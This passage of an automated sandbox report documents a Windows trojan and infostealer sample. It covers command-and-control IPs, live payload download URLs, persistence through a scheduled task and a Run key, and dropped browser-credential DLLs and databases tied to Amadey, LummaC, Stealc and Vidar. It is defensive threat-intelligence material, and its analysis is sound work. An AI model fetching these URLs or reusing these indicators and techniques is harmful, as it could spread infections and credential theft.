https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GHCGDAFC.0.dr	false		high
http://185.215.113.16/steam/random.exe61395d7f	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exep32	skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	false		high
http://31.41.244.11/files/unique2/random.exe	skotes.exe, 00000011.00000002.3567114432.0000000001468000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3567114432.0000000001490000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
92.63.197.221	unknown	Russian Federation	204655	NOVOGARA-ASNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.165.166	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566419
Start date and time:	2024-12-02 07:36:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@41/58@5/11
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.17.46, 64.233.165.84, 34.104.35.123, 172.217.21.35, 172.217.17.42, 142.250.181.74, 172.217.19.234, 142.250.181.106, 142.250.181.138, 142.250.181.10, 172.217.17.74, 216.58.208.234, 172.217.19.202, 172.217.21.42, 172.217.19.170, 192.229.221.95, 142.250.181.42, 93.184.221.240
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target AEBKFIJEGC.exe, PID 1396 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2656 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 2960 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:37:46	API Interceptor	220x Sleep call for process: file.exe modified
01:39:01	API Interceptor	237x Sleep call for process: skotes.exe modified
07:38:14	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
07:39:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c3e4899de4.exe C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
92.63.197.221	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	92.63.197.221/files/download
	file.exe	Get hash	malicious	Nymaim	Browse	92.63.197.221/soft/download
	file.exe	Get hash	malicious	Nymaim	Browse	92.63.197.221/soft/download
	file.exe	Get hash	malicious	Nymaim	Browse	92.63.197.221/soft/download
	file.exe	Get hash	malicious	Nymaim	Browse	92.63.197.221/soft/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	tyhkamwdmrg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	tyhkamwdmrg.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	173312131497fead2ebdffba48e639d886af98a7e28613c1999208e8d7a719ebfa8a8c2278190.dat-decoded.exe	Get hash	malicious	FormBook	Browse	13.107.246.63
	https://url.uk.m.mimecastprotect.com/s/lJtaCvgKLI76mPoHQfgHQcCL-?domain=cognitoforms.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	UolJwovI8c.exe	Get hash	malicious	Unknown	Browse	104.21.74.149
	PI-02911202409#.xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse	188.114.97.6
	PO#BBGR2411PO69.xls	Get hash	malicious	FormBook, HTMLPhisher	Browse	188.114.97.6
	http://demo.specialistbanking.co.uk/ad.PDF	Get hash	malicious	Unknown	Browse	104.16.123.96
	ZAMOWIEN.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.67.145.234
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.67.165.166
	sora.mips.elf	Get hash	malicious	Mirai	Browse	1.4.51.14
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	172.68.102.131
	file.exe	Get hash	malicious	LummaC	Browse	104.21.82.174
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
NOVOGARA-ASNL	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	92.63.197.221
	file.exe	Get hash	malicious	Nymaim	Browse	92.63.197.221
	file.exe	Get hash	malicious	Nymaim	Browse	92.63.197.221
	file.exe	Get hash	malicious	Nymaim	Browse	92.63.197.221
	file.exe	Get hash	malicious	Nymaim	Browse	92.63.197.221
	WinLnk.PXJ!MTB' in file 'SadeemPC.com.URL', preventing attempted open by 'ntoskrnl.url	Get hash	malicious	Unknown	Browse	185.216.143.63
	LisectAVT_2403002B_290.exe	Get hash	malicious	Bdaejec	Browse	92.63.197.48
	c2bccc65-ba2d-11ee-aa6b-14755b974fc2.exe	Get hash	malicious	Phorpiex	Browse	92.63.197.106
	https://pcfullversion.com	Get hash	malicious	Unknown	Browse	185.216.143.2
	DeviceManager.exe	Get hash	malicious	Phorpiex	Browse	92.63.197.60
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	http://demo.specialistbanking.co.uk/ad.PDF	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	Original CI PL.html	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	https://url.uk.m.mimecastprotect.com/s/lJtaCvgKLI76mPoHQfgHQcCL-?domain=cognitoforms.com	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
3b5074b1b5d032e5620f69f9f700ff0e	seemebestthingsgivenmegood.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	20.198.119.143
	Original CI PL.html	Get hash	malicious	Unknown	Browse	20.198.119.143
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143
	tDLozbx48F.exe	Get hash	malicious	Gurcu Stealer	Browse	20.198.119.143
	sDKRz09zM7.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	20.198.119.143
	5fEYPS3M8Q.exe	Get hash	malicious	XWorm	Browse	20.198.119.143
	1d5sraR1S1.exe	Get hash	malicious	AgentTesla	Browse	20.198.119.143
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.143
	back.ps1	Get hash	malicious	Unknown	Browse	20.198.119.143
	og.ps1	Get hash	malicious	Unknown	Browse	20.198.119.143
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	UolJwovI8c.exe	Get hash	malicious	Unknown	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	tyhkamwdmrg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	tyhkamwdmrg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	jgurtgjasdth.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	jdrgsotrti.exe	Get hash	malicious	Stealc, Vidar	Browse
	daytjhasdawd.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHDAKJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAAAFCAKKKFBFIDGDBFHJJEHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGCBAFCFIJJJECBGIIJKECAFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCGDAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCGDAFCFHIDBGDHCFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAFBKECAKFCAAAKJDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKEHJDHJKFIECAAKFIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: jdrgsotrti.exe, Detection: malicious, Browse Filename: daytjhasdawd.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
